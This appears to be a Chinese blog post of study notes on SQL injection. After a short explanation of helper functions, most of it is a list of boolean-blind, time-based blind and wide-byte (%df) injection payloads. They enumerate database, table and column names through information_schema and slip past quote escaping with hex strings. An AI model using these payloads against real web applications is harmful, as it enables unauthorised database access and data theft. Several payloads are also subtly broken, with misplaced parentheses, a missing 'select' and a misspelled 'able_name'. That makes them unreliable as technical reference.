SQL--盲注和宽字节注入

先知道这些函数有什么作用

length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei] (利用ASCII码来猜解数据库名,表名,字段名等等)
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

盲注:

布尔盲注:


猜解当前数据库名称长度:
and (length(database()))>9#

猜解当前数据库名称:
and (ascii(substr(database()),1,1))=100-- qwe 返回正常为 d

猜表名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=100–+

猜字段:
and (ascii(substr((select column_name from information_schema.columns where table_name=‘XXX’ limit 0,1),1,1)))=100–+

时间盲注:


猜解当前是否存在时间盲注:
and (select sleep(5))-- qwe

猜解当前数据库名称长度:
and if(((length(database()))>9),sleep(5),null)#

猜解当前数据库名称:
and if((ascii(substr(database(),1,1)))>100,sleep(5),null)-- qwe

猜表名
and if((select ascii(substr((table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)))>110,sleep(5),1)-- eee

猜字段
and if((select ascii(substr((column_name from information_schema.columns where table_name=‘XXX’ limit 0,1),3,1)))>110,sleep(5),1)-- eee


这个真搞啊,查表,字段的时候一定要注意其中的()括号,弄错一个就不对了,注意!

宽字节注入:

宽字节注入需要满足:
1、存在魔术引号;
2、要PHP编码和数据库不同;

注意:

1、POST注入直接写在Input框里面提交会被转码,所以用汉字会好一点:

admin汉’) or 1=1 sleep(3) – qwe;

2、在注入时会遇到table_name=‘XXXX’,其中 ’ 会加上转义字符 /’ ,导致报错,这时我们也可以用16进制来代替字符串(这是GET传参);
id=1*%df union select 1,2,column_name from information_schema.columns where able_name=0x75736572 (user的16进制) limit 1,1-- qwe
可以去这里查看16进制

3、宽字节配合post布尔注入:
admin汉’) or (ascii(substr(database(),1,1)))>100 – qwe

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值